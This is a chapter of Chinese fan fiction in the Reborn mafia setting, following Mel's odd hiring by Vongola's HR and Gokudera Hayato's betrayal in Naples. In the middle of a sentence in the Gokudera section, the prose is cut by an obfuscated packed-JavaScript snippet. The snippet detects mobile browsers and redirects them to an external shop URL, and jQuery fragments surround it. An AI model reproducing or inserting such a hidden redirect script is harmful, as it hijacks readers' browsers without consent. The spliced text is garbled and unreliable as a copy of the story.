视线在联系人上匆匆掠过,向下滑动屏幕。托马斯还真是找了不少诱饵,他该怎么从这些人里面找到梅尔呢……他有理由怀疑梅尔在招聘软件上用的也不是真名,否则他们早就找到她了。那么,他需要一个个聊天过去,试试对面……? 啊,根本不用。 山本武忍不住笑了起来。 二十四岁的梅尔不忘初心,不忘中二,在招聘平台上人均头像是西装领带海马体照片的情况下,这个人的头像是一张中二的Cos图。 图片上少女神情睥睨,一只融化的眼睛给人以极强的压迫感,山本武和图片上的人对视片刻,点开聊天框发送信息。 HR:【恭喜您通过了面试!】 他开始愉悦地和对方探讨起彭格列的福利制度,包括薪资结构、年假制度、保险和养老金。 半个小时后,他们达成了共识。 HR:【欢迎您加入我们的大家庭。】 HR:【请在一周内抵达我司总部进行报道和登记。】 梅尔:【没问题!】 · 哼哼哼哼哼哼哼哼……失去了叔叔作为后台又怎么样,国中时期成绩常年吊车尾又怎么样,简历被网友评价为中二病晚期无药可救又怎么样。 梅尔还不是凭着自己的本事拿下了这份薪水丰厚的工作! 网友:【也许是诈骗公司。】 网友:【开出你没有办法拒绝的条件,让你迅速入职,然后绑架你把你送进诈骗园区。】 网友:【好可怜,到时候小梅尔不会被电吧?】 梅尔:【你怎么就知道我被电了之后,不会觉醒超能力,变成电光侠?】 网友:【这称号听上去会成为蜘O侠的对手。】 梅尔:【你启发了我的灵感,看上去像反派的主角,人设一定很酷。】 梅尔和网友聊了几句,拔掉网线开始收拾行李。 对面的HR说一周内入职就行,不过,梅尔算了一下,对方所说的公司总部地址居然位于西西里,而她所在的城市博洛尼亚离西西里有七百多公里,所以,留给她的时间其实并不算多。 她倒是问过HR,为什么面试地点在普拉托,公司总部却在西西里。 HR的回复是公司产业遍布国内外,普拉托的面试内容其实是公司的外勤任务之一。 这个理由瞬间折服了梅尔,没毛病,你看日本异能特务科不也把脚伸到了意大利来,大公司嘛,在不同的城市里都有分部,正常。 因囊中羞涩,梅尔没有选择乘坐飞机,而是决定自驾前往西西里。 梅尔的爱车乃是经典风冷甲壳虫,车身圆滚滚,通体明黄色,在1997年最后一批停产。梅尔买的是二手,倒不是因为她穷,而是因为她认为开甲壳虫的人尤其有格调——想想看,一个开着上世纪老车子的女人,不急不忙地穿过浓烟滚滚的大街,突然,她从副驾掏出一把大狙,对准人群中逃窜的匪徒,果断出手,一举击中了让警察焦头烂额的对象——天哪,多么让人心跳不已的画面! 梅尔就陶醉在此幻想中,全款买下了二手甲壳虫。 结果,想象中的画面迟迟没有出现,倒是这老车三天两头趴窝,梅尔去普拉托的时候被迫搭乘公交,就是因为把它送去维修了…… 现在,去西西里有七百公里,其中还要搭乘轮渡,梅尔担心它半路掉链子,上车之前虔诚拜了三拜,祈祷车魂大悦,让她顺利到目的地。 · 被乔治·迪斯雷利背叛这件事,并不能让狱寺隼人心神动荡。自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553981|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,在常人看来,作为他的心腹,迪斯雷利没有任何背叛他的理由,他是这样忠诚与诚恳,让人挑不出一丝毛病,理所当然的,狱寺隼人也应该为他的背叛而震惊伤神。 然而,狱寺隼人讽刺地想,向一个普通人要求绝对的追随吗?那太愚蠢了。 乔治·迪斯雷利只是一个普通人。或许他确有过人的品质,他做事利落,能把狱寺隼人派下的事务处理得井井有条,他总是守着规矩不行差踏错,几乎所有人对他的印象都很好——但这些并不能改变他的本质,他是一个普通人。 所以他会被诱惑,会被威胁,会在纠结踯躅之后下定决心孤注一掷。他会为了自己被敌人挟持的妻儿而背叛自己的上级,会带着一丝忏悔、喃喃地道歉然后将枪口对准狱寺隼人—— 瓜从他的身后出现,挥爪干脆利落地杀死了这个普通人。 “你的妻女,我会帮忙照看。”狱寺隼人说。 接着他毫不犹豫转身离开了这处险地。 狱寺隼人曾经嘲笑山本武御下不力,居然会被下属给背叛;现在同样的事情落到了他身上,原来这世界上哪有永远稳固的关系,有的只是不变的利益和变了的人心。 比山本武那次还要狠。那一次,是雨守部门上下对横空出世的雨守大人不服气,因此一小部分人听信了挑唆,参与到了那场反叛中;这一次,迪斯雷利却是和当地的布鲁梅尔家族勾结,双方要将他之置于死地。 布鲁梅尔是那不勒斯的老牌黑/手/党,成员人数过三千,在当地经营上百年,几乎将这座城市视为他们的囊中之物。此次狱寺隼人来到那不勒斯,本是为责问布鲁梅尔首领的次子,对方在港口正常的货运中夹带了大量违禁品,而这违背了当初沢田纲吉定下的协约。 没想到的是,这位次子真是个狠角色。他对事情败露早做好了心理准备,因此狱寺隼人抵达那不勒斯时,他弑父弑兄,一夜之间成为了新的布鲁梅尔首领。 同一时刻,迪斯雷利的家人被挟持。迪斯雷利收到了妻子的手指后不动声色,却将除自己以外的所有岚守部门成员引入布鲁梅尔的陷阱,出动五个小时后,所有成员确认死亡。 狱寺隼人因此成了光杆司令,与此同时,布鲁梅尔的三千名成员倾巢而出,开始对他进行围剿。 · “喂……?喂?见鬼,怎么挂了?” “SHIT!刷新不出来……我每月交的网费是给这些大公司吃干饭的吗?该死的蛀虫!” 居住在那不勒斯北部郊区的居民有些郁闷地发现,网络通讯似乎断了。 没有办法拨打电话,也没有办法使用网络,与此同时,街上出现了形迹可疑的人,有的年轻,有的老练,共同点是他们用冷厉的目光扫视着街上的路人,仿佛在搜查着什么。 有什么事情发生了。 “……” 所有人都知道,在这个时候,沉默才是最好的选择。